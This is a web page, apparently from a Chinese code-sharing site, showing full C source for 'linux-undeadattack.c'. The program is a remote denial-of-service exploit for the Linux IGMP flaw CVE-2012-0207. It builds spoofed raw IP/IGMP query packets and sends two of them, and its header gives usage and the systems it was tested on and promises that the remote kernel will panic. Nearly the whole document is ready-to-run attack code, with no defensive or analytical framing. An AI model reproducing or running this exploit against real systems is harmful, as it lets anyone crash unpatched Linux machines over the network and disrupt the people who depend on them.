扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 |
/* ** linux-undeadattack.c ** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36) ** CVE-2012-0207 ** credits to Ben Hutchings: ** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html ** written By Kingcope ** Year 2012 ** Ripped & modified code written by Firestorm ** Tested against * OpenSuSE 11.4 system ** * Recent Ubuntu Distro ** ** Example: ** ./undeadattack 192.168.2.16 192.168.2.3 ** The Linux Kernel at the remote side will Panic ** when sent over the network :> ** ENJOY! */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <netinet/in.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> struct iphdr { unsigned char ihl:4, version:4, tos; unsigned short tot_len, id, frag_off; unsigned char ttl, protocol; unsigned short check; unsigned int saddr, daddr; unsigned int options1; unsigned int options2; }; struct igmp_query { unsigned char type; unsigned char maxresponse; unsigned short csum; unsigned int mcast; char padding[40]; }; unsigned short in_chksum(unsigned short *, int); long resolve(char *); long resolve(char *host) { struct hostent *hst; long addr; hst = gethostbyname(host); if (hst == NULL) return(-1); memcpy(&addr, hst->h_addr, hst->h_length); return(addr); } int main(int argc, char *argv[]) { struct sockaddr_in dst; struct iphdr *ip; struct igmp_query *igmp; long daddr, saddr; int s, i=0, c, len, one=1; char buf[1500]; if (argc < 3) { printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n" "credits to Ben Hutchings\nwritten by Kingcope\n" "Ripped & modified code written by Firestorm\n"); printf("Usage: %s <src> <dst>\n", *argv); return(1); } daddr = resolve(argv[2]); saddr = resolve(argv[1]); memset(buf, 0, 1500); ip = (struct iphdr *)&buf; igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)]; dst.sin_addr.s_addr = daddr; dst.sin_family = AF_INET; ip->ihl = 7; ip->version = 4; ip->tos = 0; ip->tot_len = htons(sizeof(struct iphdr)+8); ip->id = htons(18277); ip->frag_off=0; ip->ttl = 1; ip->protocol = IPPROTO_IGMP; ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr)); ip->saddr = saddr; ip->daddr = daddr; ip->options1 = 0; ip->options2 = 0; igmp->type = 0x11; igmp->maxresponse = 0xff; igmp->mcast=inet_addr("224.0.0.1"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 8); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } close(s); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) return(1); ip->id = htons(18278); ip->tot_len = sizeof(struct iphdr)+12; igmp->type = 0x11; igmp->maxresponse = 0; igmp->mcast=inet_addr("0.0.0.0"); igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero. igmp->csum=in_chksum((unsigned short *)igmp, 12); printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]); if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1) { perror("Error sending packet"); exit(-1); } return(0); } unsigned short in_chksum(unsigned short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } |
体验盒子
